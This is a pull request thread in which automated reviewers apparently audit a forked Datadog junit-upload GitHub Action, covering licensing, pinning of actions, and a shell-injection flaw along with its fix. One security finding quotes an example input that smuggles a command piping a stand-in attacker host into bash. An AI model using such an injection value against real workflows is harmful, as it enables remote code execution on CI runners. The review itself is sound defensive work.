feat: onboarding junit-upload-github-action

[Raj-StepSecurity]

No description provided.

[github-actions]

PR Review

Action Type

Composite Action — action.yaml uses using: "composite".

---

✅ Passed Checks

• License: LICENSE is present with copyright for both the original author (Datadog, Inc. © 2022) and StepSecurity (© 2026).
• SECURITY.md: Present and directs reports to [email protected].
• No FUNDING.yml: Not present.
• No renovate.json: Not present.
• No PULL_REQUEST.md: Not present.
• No ISSUE_TEMPLATE folder: Not present.
• No CHANGELOG.md: Not present.
• No .vscode folder: Not present.
• Workflow files: Both .github/workflows/auto_cherry_pick.yml and .github/workflows/actions_release.yml are present.
• README banner: StepSecurity maintained-action banner is present at the top of README.md.
• README usage example: Uses major version tag step-security/junit-upload-github-action@v2 (not a full semver tag).
• Subscription check URL: Correct — calls https://agent.api.stepsecurity.io/v1/github/$GITHUB_REPOSITORY/actions/maintained-actions-subscription.
• Upstream variable: UPSTREAM="datadog/junit-upload-github-action" correctly matches original-owner: "datadog" / repo-name: "junit-upload-github-action" in auto_cherry_pick.yml.

---

❌ Failed Checks

• Unpinned external action in composite action (action.yaml line 118): step-security/install-datadog-ci-github-action@release uses the floating branch name release instead of a fixed version tag or commit SHA. Composite actions must pin all non-official GitHub actions. Change to a concrete ref such as @v1 or a full commit SHA.

---

⚠️ Warnings

• permissions block placement in audit_package.yml: The permissions key appears after the jobs: block (line 24). While valid YAML, the convention is to place permissions before jobs: at the top level. Some linters may flag this.
• check-junit-upload.js: This CI verification script interpolates process.env.EXTRA_TAGS directly into a Datadog query filter string without sanitisation. Not a concern for action consumers but worth noting for CI integrity.

---

🔒 Security Findings

1. Shell injection via ${{ inputs.datadog-ci-version }} (action.yaml line 105): The datadog-ci-version input is interpolated directly into a run: shell step. A caller supplying a crafted value (e.g. v5"; curl attacker.com | bash; echo ") could execute arbitrary commands. Fix: assign the input to an environment variable (DATADOG_CI_VERSION: ${{ inputs.datadog-ci-version }}) and reference $DATADOG_CI_VERSION in the shell script rather than the inline ${{ }} expression.

2. Floating action ref (action.yaml line 118): @release is a mutable branch pointer. If the referenced action repository is compromised or updated unexpectedly, all users of this action pick up the change silently — a supply chain risk.

---

Summary

The onboarding is largely complete and well-structured. Two issues must be fixed before merge: the shell injection risk from directly interpolating a user-controlled input in a run: step, and the unpinned @release branch reference to the external install-datadog-ci action.

[github-actions]

PR Review - Composite Action

PASSED: License with dual copyright OK, SECURITY.md present, no FUNDING.yml/renovate.json/PULL_REQUEST.md/ISSUE_TEMPLATE/CHANGELOG.md/.vscode, README banner present, major-version-only usage in README, subscription check calls correct API URL, upstream var matches cherry-pick config, action.yaml present.

FAILED: step-security/install-datadog-ci-github-action@v1 is not SHA-pinned. Composite actions must pin non-official actions to a full commit SHA.

WARNINGS: (1) actions/checkout@v7 in test.yaml appears invalid -- latest is v4, likely a typo. (2) file named action.yaml instead of action.yml (minor).

SECURITY: Command injection in Translate version format step -- inputs.datadog-ci-version is interpolated directly into the shell run block, enabling arbitrary command execution. Fix by routing through an env var (see inline comment).

VERDICT: Fix shell injection vulnerability and SHA-pin the install-datadog-ci action before merging.